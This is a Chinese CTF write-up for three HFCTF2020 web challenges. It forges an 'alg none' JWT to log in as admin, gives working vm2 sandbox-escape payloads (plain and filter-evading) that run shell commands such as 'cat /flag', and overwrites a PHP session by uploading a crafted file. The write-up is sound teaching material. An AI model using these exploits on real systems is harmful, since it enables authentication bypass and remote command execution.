HFCTF2020 web writeup

easy_login

先扫一下目录
HFCTF2020 web writeup_第1张图片首先这是一个koa框架,所以我们先熟悉一下这个框架的目录结构
HFCTF2020 web writeup_第2张图片
然后访问/controllers/api.js得到逻辑代码

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
        
        ctx.rest({
            token: token
        });

        await next();
    },
    
    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }
        
        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
        
        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

这儿的大致意思就是注册登录,并把信息保存在jwt中,一般jwt是可以伪造的,但是这儿密码我们根本不可能爆破出来

所以只能寻求其它的方法,我们注意到,我们每一次登录,都会生成密匙并插入到列表当中,然后登录的时候根据sid来选择对应的密匙
值得注意的是,我们这儿的sid可控,假如我们令sid=0.1会怎么样呢?
这个就是nodejwt漏洞
jwt secret为空时 jsonwebtoken会采用algorithm none进行解密



解题步骤

登录的时候会返回sses:aok,里面包含我们的登录信息,这个我们可以更改(改登录名)

HFCTF2020 web writeup_第3张图片我们先解密一下注册时返回的jwt
链接

HFCTF2020 web writeup_第4张图片

  • 然后我们进行伪造jwt

    import jwt
    token = jwt.encode({"secretid":0.1,"username": "admin","password": "xxx","iat": 1587287370},algorithm="none",key="").decode(encoding='utf-8')
    print(token)
    

    在这里插入图片描述eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJ4eHgiLCJpYXQiOjE1ODcyODczNzB9.

    HFCTF2020 web writeup_第5张图片
    用户名,密码,jwt必须相对应
    然后记住返回的页面中的sses:aoksses:aok.sig

  • 进入flag页面
    HFCTF2020 web writeup_第6张图片这两个值都进行替换(登录页面返回的值),就能得到flag


just_escape

进入这个页面
HFCTF2020 web writeup_第7张图片然后显示的是一个php的任意代码执行的页面,但是经过测试,这个根本就是php,其实题目也有提示

我们输入Error().stack
HFCTF2020 web writeup_第8张图片可以根据回显得到,这是一个JSvm2,而且经过测试许多关键字都被过滤


所以我们使用字符串拼接就可以了~~

然后我们去网上找一下关于vm2payload
HFCTF2020 web writeup_第9张图片所以最终的payload为:
VM2最新版本(3.83)的逃逸代码

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
 TypeError.prototype.get_process = f=>f.constructor("return process")();
 try{
  Object.preventExtensions(Buffer.from("")).a = 1;
 }catch(e){
  return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
 }
}+')()';
try{
 console.log(new VM().run(untrusted));
}catch(x){
 console.log(x);
}

这儿说明一下,引号被过滤了我们可以使用反引号代替
反引号的作用:

  • 当作字符串使用
  • 定义多行字符串
  • 在字符串中引入变量

${}的作用

  • 拼接字符串,引入变量(直接看图吧,就不做过多解释了)
    HFCTF2020 web writeup_第10张图片

payload_1:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`ls /`).toString();
    }
})()

我们还可以使用join来拼接字符串

payload_2:

(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()

payload_3(直接数组绕过,在js中,所有对象皆字符串)
HFCTF2020 web writeup_第11张图片

HFCTF2020 web writeup_第12张图片HFCTF2020 web writeup_第13张图片
这儿不需要url编码,直接将上面payload复制进url栏就i可以了


babyupload

首先是源代码

 
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

这个题目只要有两个功能,上传下载文件

我们要得到flag需要满足一下条件

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}

首先这道题目没有任何的session复制点,所以我们能想到的就是上传一个sess_xxxxxxxx文件来覆盖原有的sess文件

解题步骤

  • 先下载一个sess文件,看格式是什么样子的
    HFCTF2020 web writeup_第14张图片这儿我们看到sess文件的格式为0x08usernames:5:"guest";
    注意前面还有一个0x08不可见字符,开始我没有加进去,就没做出来

  • 上传sess文件

      $file_path = $dir_path."/".$_FILES['up_file']['name'];
      $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
    

    这儿我们只需要将$_FILES['up_file']['name']改为sess就可以了,这样就满足sess文件的命名形式

  • 新创success.txt文件夹
    file_exists($filename),其中$filename是一个文件夹,也满足条件

  • 修改PHHSESSID,然后刷新页面就可以得到flag

修改sess
在这里插入图片描述

然后运行hash_file函数,得到哈希值
HFCTF2020 web writeup_第15张图片432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

然后上传文件,我们需要上传两次,一次覆盖sess,一次创建success.txt文件夹

  • 上传sess文件
    HFCTF2020 web writeup_第16张图片这个时候attr置空

  • 新建success.txt文件夹
    HFCTF2020 web writeup_第17张图片

然后替换PHPSESSID值432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
刷新页面就可以了
HFCTF2020 web writeup_第18张图片

你可能感兴趣的:(ctf)